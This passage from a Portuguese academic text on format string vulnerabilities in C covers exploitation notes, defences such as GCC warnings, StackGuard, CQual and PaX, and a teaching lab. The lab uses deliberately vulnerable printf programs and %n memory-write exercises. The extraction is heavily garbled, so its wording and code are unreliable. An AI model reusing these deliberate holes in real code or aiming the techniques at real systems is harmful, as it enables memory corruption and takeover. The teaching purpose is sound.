iguais).

Quanto ao parametro da funcagstem , ela recebe apenas urohar como
parametro, indicando o local de uma string com mamalo a ser executado. Fica a
cargo do atacante ter que injetar o comando desej@dnemoria; na falta de opcdes,
pode-se colocar o comando no proprio string de dteg@o, e redirecionando ehar
para aquele ponto do string de formatacao.

Em todo caso, a menos que a prépria string de fagéa seja utilizada como
parametro original de uma funcé&o redirecionada @Earystem , essa abordagem
requerera pelo menos duas escritas pela stringrdeafacdo, uma para alterar o fluxo
de execugédo e outra para alterar o parametro gadun

4.3 Demais consideracdes

Trabalhar com enderecos da pilha, por exemplo,upancio o endereco de uma
variavel local ou do endereco de retorno, requétigas um pouco mais avancadas de
atague. Como nao se tem controle sobre o contedadullth, cada execucdo de um
programa pode acabar posicionando siack frame numa posicéo diferente da pilha.
Mesmo com aleatorizacdo da memoria desligada, éssigel determinar um endereco
de uma variavel local ou de uma estruturastiok frame de anteméo. Para poder
viabilizar um ataque, normalmente sera necesséacimddicacdo de um programa que
calcule o endereco alvo e crie dinamicamente agstie formatacdo para o programa
vulneravel numa mesma execucdo. Um exemplo de aquatreal que exemplifique
iIsso pode ser encontrado em (WARNING3, 2000).

Outro fator importante a se tomar nota € que todesexemplos até agora
armazenavam a string de formatacgao na pilha, mas situacdo real, nada impede da
string de formatacao estar heap. Isso ndo impede, no entanto, que a vulnerabiidad
seja explorada, desde que o atacante consiga fautrea de guardar os enderecos
necessarios na pilha. Qualquer outro buffer qust@xna pilha pode se tornar um
hospedeiro viavel para auxiliar nessas ocasiées{$2001).
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5 PREVENCAO E PROTECAO CONTRA )
VULNERABILIDADES DE STRINGS DE FORMATACAO

A vulnerabilidade de strings de formatacdo se waiglo mau uso das funcbes de
formatacdo. Embora seja correto afirmar que o os@io delas previne a ocorréncia da
vulnerabilidade, a tarefa nédo é trivial ao pontosaeplesmente se substituir todos os
printf(buf) PO printf(“%s”, buf) . Veja o codigo a sequir:
#include <stdlib.h>

#include <stdio.h>
#include <stdarg.h>

void printwrapper(char *fmtstring, ...)

{
va_list ap;
va_start(ap, fmtstring);
vprintf(fmtstring, ap);

}

int main()

{
char user_input[200];
scanf("%s", user_input);
printwrapper(user_input);

}

No programa vulneravel acima, a funcg@entwrapper funciona como uma
adaptadora para @rintt . No caso, ndo € @rintf  que é o ponto vulneravel do
programa, e sim a chamada a fungéotwrapper , que deveria ser, por exemplo,
printwrapper(“%s”, user_input) . Fungbes adaptadoras como esta muitas vezes
passam despercebidas durante uma revisdo de cdifigaltando a deteccdo manual
de pontos vulneraveis. Felizmente, existem alterasipara detectar esses pontos, além
de opcdes que, embora ndo corrijam a vulnerab#idedpedem-na de ser explorada,
que sao analisadas em (CHEN, 2007) e (SHANKAR, R@0geguir:

5.1 Compiladores

Atualmente, grande parte dos compiladores consegigtarminar até um certo
nivel a ocorréncia de vulnerabilidades em stringsfarmatacédo. Eles basicamente
varrem o cédigo todo a procura de chamadas a fangaefamiliaprintf e outras
sintaticamente similares, avisando quando qualgue destas chamadas € realizada
com um string de formatagdo ndo constante. Emhajaausna andlise rapida e pratica,
nao € capaz de detectar funcdes adaptadoras corexentlo, além de poder emitir
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falsos positivos, como numa situacdo em que ogstienformatacdo ndo € constante
mas o usuario nao tem controle sobre ele.

Por exemplo, ao compilar todos os exemplos vulreséanteriores exceto o ultimo,
a GNU GCC emite o seguinte aviso enquanto estwer & opcaewformat-security
ativada:

vulnprog.c:34: war ning: format not a string literal and no format
arguments

Existem também diversas modificagfes disponiveis ps compiladores capazes de
prevenir a execucdo de funcbes suspeitas. As sitadseguir sdo especificas para o
GNU GCC.

A extensao FormatGuard utiliza o pré-processada ipgetar codigo de verificacéo
de pardmetros em todas as funcbes da famiiia@ . Com isso, consegue
dinamicamente impedir de qualquer funcdo formatadie executar caso nao haja
mesmo numero de formatadores e argumentos forrsedidfelizmente essa protecao
nao se estende para as func@emtt e similares, nem consegue detectar funcdes
adaptadoras.

A extensao Stack Guard ou ProPolice normalmeniigaiie de canarios para avisar
quando os valores dos registradores salvos na salbhanodificados durante a execucao
de uma funcdo. Basicamente, 0s canarios sdo valoséss em posicdes estratégicas de
forma que ao modificar um valor da pilha, o canagcaba sendo modificado também.
Tipicamente s&o utilizados para prevencédo de estdebuffer, e sdo postos entre o
endereco de retorno e o buffer a ser explorado.

Essa ferramenta sé € efetiva, tratando-se de \aldiidade de strings de
formatacéo, quando se utiliza escritas desalinhemi@sa memoria, ja que essas escritas
correm o risco de alterar o valor do canario. Aésagla escrita com short ints é possivel
realizar escritas precisas sobre o endereco denoetem invadir outra palavra de
memoéria, sem contar que podemos tomar como alvoopbntos da memoria fora da
pilha. Maiores informacfOes sobre essa extensdonpakr obtidas em (CRISPIN,
1998).

A extensdo Stack Shield também é originalmentecidinada para estouros de
buffer, mas é capaz de inviabilizar a tomada do endedecretorno como alvo. Ela
copia o valor do endereco de retorno de uma fupaém o inicio do segmento de dados,
onde é inatingivel pelos estouroshifers, e verifica se o valor do endereco de retorno
da pilha continua o0 mesmo antes de utiliza-lo nalfde uma funcdo. Assim como o
Stack Guard, é ineficaz contra os demais alvos iygissde um ataque sobre
vulnerabilidade de strings de formatac&o. Algunmésrimacdes a mais a respeito dessa
extensao podem ser obtidas em (VENDICATOR, 2000).

Vale lembrar que todas essas extensdes requerem gpograma seja recompilado
apos a instalacdo delas. Isso pode tornar inviavetilizacdo dessas extensdes em
sistemas legados, por exemplo.

5.2 Andlise Estatica

Em SHANKAR(2001) é descrito a ferramenta de anadisgatica CQual. Nele,
utilizando qualificadores de tipos, séo feitas pedoario marcacdes sobre os tipos das
variaveis de um programa, especificando se um aloaculado, como, por exemplo,
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valores provindos do ambiente, ou imaculados, cealores seguramente livres de
interferéncia do usuério. Fungbes desejadas parficeedo sdo marcadas também,
como por exemplo, uma marcacdo na fungéetf dizendo que a string de
formatacdo passada como parametro deve ser imaculad

A ferramenta consegue, a partir dessas marcagdiesir io fluxo de dados do
programa e avisar quando um dado que era paransauliado recebe um valor
maculado. Com essa abordagem, ndo somente corsegdetectar funcdes adaptadoras
como também a quantidade de falsos positivos dimegabtidos € baixa.

5.3 Andalise Dinamica

Através da modificacdo de bibliotecas, do compilaalodo tempo de execucdo da
linguagem C de um sistema, pode-se adicionar defegatra a vulnerabilidade de
string de formatacdo que nao necessitem de recagApil dos programas, embora
causem uma sobrecarga a mais durante a execug¢és.des

Exemplo dessas modificacdes sao a biblioteca hidibr que bloqueia uma fungéo
se um string de formatacdo contétn e esta num trecho de memoéria gravavel, e a
libsafe, que bloqueia uma funcdo seswsobrescreve um endereco de retorno de um
stack frame.

5.4 Protecdes do Sistema Operacional

Existem extensdes disponiveis para os sistemas@peais também. Uma delas, a
PaX (Page Execution), consegue prevenir que codigo seja executadaillha gu no
heap, contra-atacando justamente os ataques baseadielsode (PAX TEAM).

Como parte também da PaX, foi introduzido a alézg@o de memdria, desligada
no capitulo para facilitar a utilizacdo dos endeseqo heap. A aleatorizacdo de
memo©ria altera a cada execugdo de um programagipos espaco de enderegcamento
de um processo em que sao alocados as areas deiandm@odigo, pilhaheap e
bibliotecas, visando dificultar a utilizagdo deoreb para a LibC. Por exemplo, tanto a
localizac&o da funcésystem quanto da stringoin/sh " necessarios para o retorno para
a LibC estardo em enderecos diferentes a cadagiacu

5.5 Outras linguagens de programacao

Foi dito que as linguagens mais sensiveis a vliilelade de string de formatacao
sédo C e C++. Boa parte das outras linguagens dggmacao oferecem um nivel maior
de verificacdo na implementac&o das funcdes deatagéio, e, embora grande parte das
vezes inviavel, € uma possivel alternativa reimpleiar o programa em outra
linguagem de programacao para prevenir a vulnédadig. Alguns exemplos a seguir,
extraidos de (BURCH, 2007):

e Perl possui um sistema de maculac@&n{) similar ao utilizado pela
ferramenta CQual, impedindo que dados maculadasnseitilizados em
funcbes de sistema. Além disso, verificagbes adé&® sdo feitas para o
formatador %n impedindo que este escreva na pilha ou outroarésg
invalidos. No entanto, ja foi constatado que apeésssas duas protecoes,
Perl ndo é imune a vulnerabilidade de strings dadtacao.
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PHP nao possui o formatadain o que inviabiliza um ataque puramente
utilizando a vulnerabilidade de strings de formata@lém disso, as fungdes
formatadoras lancam erro quando existe um numerorrda formatadores
do que de argumentos.

A partir da versao 1.5, Java possui também funci@e$ormatacdo. Elas
possuem verificacdo de numero de argumentos, artaegcecao caso seja
diferente do nimero de formatadores ou caso ggsierformatacao seja mal
formada.

Python e Ruby também ndo possuem o formataderrealizam verificacdo
de numero de argumentos, terminando com a exedaggwograma caso
seja discrepante.
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6 EXPERIMENTO PRATICO

Neste capitulo € descrito brevemente um experimerser executado durante uma
aula préatica em laboratério, num periodo de umma lora € meia, com o objetivo de
familiarizar os alunos com a vulnerabilidade dangs de formatac&o. Os alunos devem
ter sido introduzidos a priori aos aspectos bagsieogulnerabilidade, além de terem um
conhecimento basico da linguagem C.

Assim como o resto deste trabalho, este experimgene ser executado sobre o
sistema operacional Ubuntu 9.10, sobre um computdel@rquitetura Intel x86. Este
experimento foi baseado nos documentos disporémei€DU, 2009).

6.1 Averiguando a existéncia da vulnerabilidade

E dado aos alunos o seguinte programa:

#include <stdlib.h>
#include <stdio.h>

#define VALUE1 0x01010101
#define VALUE2 0x00434241 /| ABC

/* vulnprogl.c */

int main(int argc, char *argv[])

{
char user_input[100];
unsigned int value_on_stack;
unsigned int *value_on_heap;

value_on_stack = VALUE1Z,;

value_on_heap = (unsigned int *) malloc(sizeof(u nsigned int));
*value_on_heap = VALUEZ;

printf("Digite seu nome:\n");

scanf("%s", user_input);
printf(user_input); // <-- Codigo vulneravel
printf("\n");

free(value_on_heap);

return O;

}

Apb6s uma breve analise do codigo fonte, pede-sesqueompile o programa e
verifique-se 0 aviso que ele emite devido ao usineo da funcaprintf . Fica a cargo
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do aluno também verificar na documentacédo do cauil quais sdo os parametros de
compilacdo responsaveis por ativar e desativas @s880s.

Em seguida, o aluno comeca a explorar a vulnedaloié de string de formatacéo,
testando inicialmente os formatadores disponivais @ funcaqrintt . Com esses
formatadores, é pedido que se obtenhadump parcial da pilha, da mesma forma que
foi apresentado na secéao 3.1, e com o codigo feeriegr observar quais valores estao
armazenados na pilha. Aproveitando a ocasido, tamnéygedido que se obtenhdwmp
mais de uma vez para se observar o efeito da Hiai@0 de memoria do sistema
operacional. No final dessa etapa, pede-se queeaodkacdo de memoria seja
desligada, para que possa se lehaip mais facilmente.

6.2 Utilizando a vulnerabilidade para ler da memoéria

Para ilustrar as possiveis situacdes que um atadarftenta, sdo apresentadas
diversas formas de se ler da memaria, com dificlddaescente.

Na primeira delas, pede-se para o aluno que c@nsma string de formatacéo que
consiga ler o valor da variavedlue_on_heap[0] , cujo endereco ja esta na pilha. Basta
que a string de formatagcdo avance a pilha até erega desejado e utilize-o para a
leitura.

Na segunda, € fornecido um programa que €é sinolg@rianeiro, exceto que agora a
variavel value_on_heap € um array de dois valores, ndo ha mais a variavel
value_on_stack e € pedido para o usuario entrar com 0 ano dennasto antes de seu
nome:

#include <stdlib.h>
#include <stdio.h>

#define VALUEL 0x00434241 /| ABC
#define VALUE2 0x005A5958 // WXY

/* vulnprog2.c */

int main(int argc, char *argv[])

{
char user_input[100];
unsigned int int_input;
unsigned int value_on_stack;
unsigned int *value_on_heap;

value_on_heap = (unsigned int *) malloc(sizeof(u nsigned int));
value_on_heap[0] = VALUEZ,
value_on_heap[1] = VALUEZ2;

printf("Digite seu ano de nascimento:\n");
scanf("%u", &int_input);

printf("Digite seu nome:\n");

scanf("%s", user_input);
printf(user_input); // <-- Codigo vulneravel
printf("\n");

free(value_on_heap);

return O;
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Agora, pede-se para que o aluno construa uma steifigrmatacdo que leia o valor da
varidvelvalue_on_heap[l] , cujo endereco ndo se encontra automaticamergithaa
Neste caso, € sugerido ao aluno utilizar a variguelarmazena o ano de nascimento
digitado pelo usuario como forma de colocar o exgtedesejado na pilha.

Na terceira, é fornecido um programa idéntico apsdo, exceto que agora ndo ha
mais ano de nascimento requisitado:

#include <stdlib.h>
#include <stdio.h>

#define VALUEL 0x00434241 /| ABC
#define VALUE2 0x005A5958 // WXY

/* vulnprog3.c */

int main(int argc, char *argv[])

{
char user_input[100];
unsigned int value_on_stack;
unsigned int *value_on_heap;

value_on_heap = (unsigned int *) malloc(sizeof(u nsigned int));
value_on_heap[0] = VALUEZ,;
value_on_heap[1] = VALUEZ;

printf("Digite seu nome:\n");

scanf("%s", user_input);
printf(user_input); // <-- Codigo vulneravel
printf("\n");

free(value_on_heap);

return O;

Dessa forma, o aluno agora é obrigado a criar urimey sle formatacéo que forneca
0 endereco a ser utilizado para leitura do valoval®velvalue_on_heap[l] . Para
tanto, é fornecido também o seguinte programa:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

[* mystring.c */
int main()

char buf[1000];
int fp, size;
unsigned int *address;

address = (unsigned int *) buf;
*address = 0x08048584; // Altere aqui o(s) ender eco(s) a ser(em)
escrito(s) no arquivo.

size = strlen(buf); // Utilizar um tamanho hard- coded caso o
endereco contenha 0x00.

fp = open("mystring”, O_RDWR | O_CREAT | O_TRUNC , S_IRUSR |
S _IWUSR); // Alterar nome do arquivo, se desejado.
if (fp!1=-1) {
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write(fp, buf, size);
close (fp);
} else {
printf("Erro ao abrir arquivo\n");

}

}

Este programa apenas escreve um endereco numar@uaiuno pode modificar o
codigo para escrever o endereco desejado, recelopdaexecuta-lo para criar um
arquivo com o endereco desejado. Com esse arquode;se adicionar o resto da string
de formatacéo desejada e utiliza-la como entrada@programa vulneravel alvo.

6.3 Utilizando a vulnerabilidade para escrever na memaa

Nesta etapa, o aluno é familiarizado com a esenf@orando a vulnerabilidade.
Primeiro, € mostrado a utilizacdo do formatagaicom o seguinte programa, baseado
no primeiro, mas semwnlue_on_stack e com verificacdo do valor original e final da
value_on_heap

#include <stdlib.h>
#include <stdio.h>

#define VALUEL 0x00434241 /| ABC

/* vulnprog4.c */

int main(int argc, char *argv[])

{
char user_input[100];
unsigned int *value_on_heap;

value_on_heap = (unsigned int *) malloc(sizeof(u nsigned int));
*value_on_heap = VALUEZ,

printf("Digite seu nome:\n");

scanf("%s", user_input);
printf(user_input); // <-- Codigo vulneravel
printf("\n");

printf("Valor inicial: 0x%x\n", VALUEL);
printf("Valor final: 0x%x\n", value_on_heap);

free(value_on_heap);

return O;

}

E requisitado que o aluno altere o valorvdee on_heap com o formatadogen
para um valor qualquer. Nessa situacdo, basta tpiecanstrua uma string de
formatacdo que avance a pilha até o endereco davebe utilize o formatadawn

Na segunda parte, € dado o seguinte programaasiaul anterior, contendo agora
guatro valores nealue_on_heap
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#include <stdlib.h>
#include <stdio.h>

#define VALUE1 0x00434241 // ABC
#define VALUE2 0x00595857 /[ WXY
#define VALUE3 0x00777777 I/ www
#define VALUE4 0x58494C55 // UNIX

/* vulnprog5.c */

int main(int argc, char *argv[])

{
char user_input[300];
unsigned int *value_on_heap;

value_on_heap = (unsigned int *) malloc(4*sizeof
value_on_heap[0] = VALUEZ,
value_on_heap[1] = VALUEZ2;
value_on_heap[2] = VALUES3;
value_on_heap[3] = VALUE4;

printf("Digite seu nome:\n");
scanf("%s", user_input);
printf(user_input); // <-- Codigo vulneravel

printf("\n");

printf("Valores iniciais: 0x%08x 0x%08x 0x%08x 0
VALUE2, VALUES, VALUE4);

printf("Valores finais: 0x%08x 0x%08x 0x%08x 0
value_on_heap[0], value_on_heap[1], value_on_heap|2
value_on_heap[3]);

free(value_on_heap);

return O;

}

(unsigned int));

x%08x\n", VALUEL,

Xx%08x\n",
]1

E pedido agora que o aluno altere o valowalée_on_heap[2]  para o valor fixo

de 0x11442233 . O aluno precisa agora utilizar a técnica de guescritas descrita na
secdo 3.3 ou uma de suas variantes, além de nardifiprogramanystring  para que
ele crie arquivos com dois ou quatro enderecosgatang de formatacao.

6.4 Prevenindo a vulnerabilidade

utilizando printf

Na udltima etapa, € requisitado que 0 usuario eoro$ programas anteriores,
da maneira correta e verificando que a vulneddulée deixa de

existir.

5:

Por altimo é fornecido o seguinte programa, quareemo apresentado no capitulo

#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>

/* vulnprog6.c */
void printwrapper(char *fmtstring, ...)

{

va_list ap;
va_start(ap, fmtstring);
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vprintf(fmtstring, ap);
}

int main()

{
char user_input[200];
scanf("%s", user_input);
printwrapper(user_input);

Pede-se que o aluno compile o programa e verifigguee nenhum aviso € emitido
pelo compilador. Em seguida, pede-se que o alurecus-0, e verifiqgue que a
vulnerabilidade existe mesmo assim, terminandopem@xmento.
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7 CONCLUSAO

Seguranca € um aspecto importante de todo sistemiaora a idéia de um sistema
totalmente seguro ndo passe de uma utopia, é iampertque, mesmo assim, o
programador prime por tomar tantas medidas de aegamuanto forem possiveis.

Ja se completou uma década desde a descobertdndeabilidades de string de
formatacdo. No entanto, o conhecimento delas nd&oeédisseminado quanto, por
exemplo, de estouros dauffer, e mesmo hoje, novos sistemas sdo desenvolvidos
possuindo essa falha em seus programas. Foi deamsturante esse trabalho que a
presenca dessa vulnerabilidade permite que a ma&rdésses sistemas seja sondada
facilmente, além de que também é possivel sobrescvalores relevantes em memoria
e até tomar controle do sistema.

Por isso, esperava-se que, com 0 tempo, 0 hiumepoodeamas vulneraveis a esse
tipo de ataque diminuisse. As linguagens mais teseja foram desenvolvidas
oferecendo protecdes que barram a ocorréncia denatlilidade na raiz do problema, e
as ferramentas atuais ja permitem que todas aséoctas da vulnerabilidade sejam
detectadas num programa, embora ndo sejam totanaemdmatizadas, ou quando o
séo, ndo cubram todas as ocorréncias.

No entanto, pelos dados obtidos em NIST(2009)figarse um aumento crescente
no numero de sistemas com vulnerabilidade em stdegformatacdo. Um dos motivos
gue pode ter ocasionado isso é 0 crescente nuneeprogramas desenvolvidos para
ambientes com recursos limitados, como sistemasamaos e plataformas moveis.
Por essa limitacdo de recursos, normalmente a@lbanslo que utilizar linguagens
eficientes para desenvolvimento desses progranesnmque vulneraveis.

Nesta situacéo, resta ao programador entdo gacamtiseu codigo seja seguro. Um
codigo correto neste caso de vulnerabilidade dagstrde formatacdo néo oferece
nenhuma queda de desempenho na execucdo do progmat@a ndo ha argumentos
contra a boa utilizacao de funcdes de formatacao.
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